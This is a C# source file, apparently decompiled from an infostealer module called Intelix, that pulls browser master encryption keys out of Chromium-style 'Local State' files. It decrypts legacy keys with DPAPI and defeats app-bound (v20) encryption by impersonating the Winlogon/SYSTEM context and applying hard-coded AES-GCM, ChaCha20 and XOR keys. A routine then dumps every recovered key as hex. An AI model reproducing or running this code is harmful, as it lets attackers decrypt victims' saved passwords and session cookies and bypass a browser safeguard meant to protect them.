using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;

namespace Intelix.Helper.Encrypted;

public static class LocalState
{
	private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV10 = new ConcurrentDictionary<string, Lazy<byte[]>>();

	private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV20 = new ConcurrentDictionary<string, Lazy<byte[]>>();

	private static readonly ConcurrentDictionary<string, SemaphoreSlim> _locks = new ConcurrentDictionary<string, SemaphoreSlim>();

	public static List<string[]> GetMasterKeys()
	{
		List<string[]> list = new List<string[]>();
		foreach (KeyValuePair<string, Lazy<byte[]>> item in _masterKeyCacheV10)
		{
			try
			{
				string text = item.Key ?? "";
				Lazy<byte[]> value = item.Value;
				if (value == null)
				{
					continue;
				}
				byte[] value2 = value.Value;
				if (value2 != null)
				{
					StringBuilder stringBuilder = new StringBuilder(value2.Length * 2);
					byte[] array = value2;
					foreach (byte b in array)
					{
						stringBuilder.Append(b.ToString("X2"));
					}
					list.Add(new string[3]
					{
						text,
						"v10",
						stringBuilder.ToString()
					});
				}
			}
			catch
			{
			}
		}
		foreach (KeyValuePair<string, Lazy<byte[]>> item2 in _masterKeyCacheV20)
		{
			try
			{
				string text2 = item2.Key ?? "";
				Lazy<byte[]> value3 = item2.Value;
				if (value3 == null)
				{
					continue;
				}
				byte[] value4 = value3.Value;
				if (value4 != null)
				{
					StringBuilder stringBuilder2 = new StringBuilder(value4.Length * 2);
					byte[] array = value4;
					foreach (byte b2 in array)
					{
						stringBuilder2.Append(b2.ToString("X2"));
					}
					list.Add(new string[3]
					{
						text2,
						"v20",
						stringBuilder2.ToString()
					});
				}
			}
			catch
			{
			}
		}
		return list;
	}

	public static byte[] MasterKeyV20(string localstate)
	{
		SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
		orAdd.Wait();
		try
		{
			if (_masterKeyCacheV20.TryGetValue(localstate, out var value))
			{
				return value.Value;
			}
			Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV20(localstate));
			_masterKeyCacheV20[localstate] = lazy;
			return lazy.Value;
		}
		finally
		{
			orAdd.Release();
		}
	}

	private static byte[] ComputeMasterKeyV20(string localstate)
	{
		try
		{
			Match match = Regex.Match(LocalStateContent(localstate), "\"app_bound_encrypted_key\"\\s*:\\s*\"([^\"]+)\"");
			if (!match.Success)
			{
				return null;
			}
			BlobParsedData blobParsedData = ParseKeyBlob.Parse(DecryptAsSystemUser(Convert.FromBase64String(match.Groups[1].Value).Skip(4).ToArray()));
			switch (blobParsedData.Flag)
			{
			case 1:
				return AesGcm256.Decrypt(new byte[32]
				{
					179, 28, 110, 36, 26, 200, 70, 114, 141, 169,
					193, 250, 196, 147, 102, 81, 207, 251, 148, 77,
					20, 58, 184, 22, 39, 107, 204, 109, 160, 40,
					71, 135
				}, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
			case 2:
				return ChaCha20Poly1305.Decrypt(new byte[32]
				{
					233, 143, 55, 215, 244, 225, 250, 67, 61, 25,
					48, 77, 194, 37, 128, 66, 9, 14, 45, 29,
					126, 234, 118, 112, 212, 31, 115, 141, 8, 114,
					150, 96
				}, blobParsedData.Iv, blobParsedData.Ciphertext, blobParsedData.Tag);
			case 3:
			{
				byte[] array = new byte[32]
				{
					204, 248, 161, 206, 197, 102, 5, 184, 81, 117,
					82, 186, 26, 45, 6, 28, 3, 162, 158, 144,
					39, 79, 178, 252, 245, 155, 164, 183, 92, 57,
					35, 144
				};
				byte[] array2 = CDecryptor(blobParsedData.EncryptedAesKey);
				for (int i = 0; i < array2.Length; i++)
				{
					array2[i] ^= array[i];
				}
				return AesGcm256.Decrypt(array2, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
			}
			case 32:
				return blobParsedData.EncryptedAesKey;
			default:
				return null;
			}
		}
		catch
		{
			return null;
		}
	}

	public static byte[] MasterKeyV10(string localstate)
	{
		SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
		orAdd.Wait();
		try
		{
			if (_masterKeyCacheV10.TryGetValue(localstate, out var value))
			{
				return value.Value;
			}
			Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV10(localstate));
			_masterKeyCacheV10[localstate] = lazy;
			return lazy.Value;
		}
		finally
		{
			orAdd.Release();
		}
	}

	private static byte[] ComputeMasterKeyV10(string localstate)
	{
		try
		{
			Match match = Regex.Match(LocalStateContent(localstate), "\"encrypted_key\":\"(.*?)\"");
			if (!match.Success)
			{
				return null;
			}
			return DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value).Skip(5).ToArray());
		}
		catch
		{
			return null;
		}
	}

	private static byte[] CDecryptor(byte[] encryptedData)
	{
		using (ImpersonationHelper.ImpersonateWinlogon())
		{
			return CngDecryptor.Decrypt(encryptedData);
		}
	}

	private static byte[] DecryptAsSystemUser(byte[] encryptedData)
	{
		using (ImpersonationHelper.ImpersonateWinlogon())
		{
			encryptedData = DpApi.Decrypt(encryptedData);
		}
		return DpApi.Decrypt(encryptedData);
	}

	private static string LocalStateContent(string localstate)
	{
		string text = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
		File.Copy(localstate, text, overwrite: true);
		string result = File.ReadAllText(text);
		File.Delete(text);
		return result;
	}
}
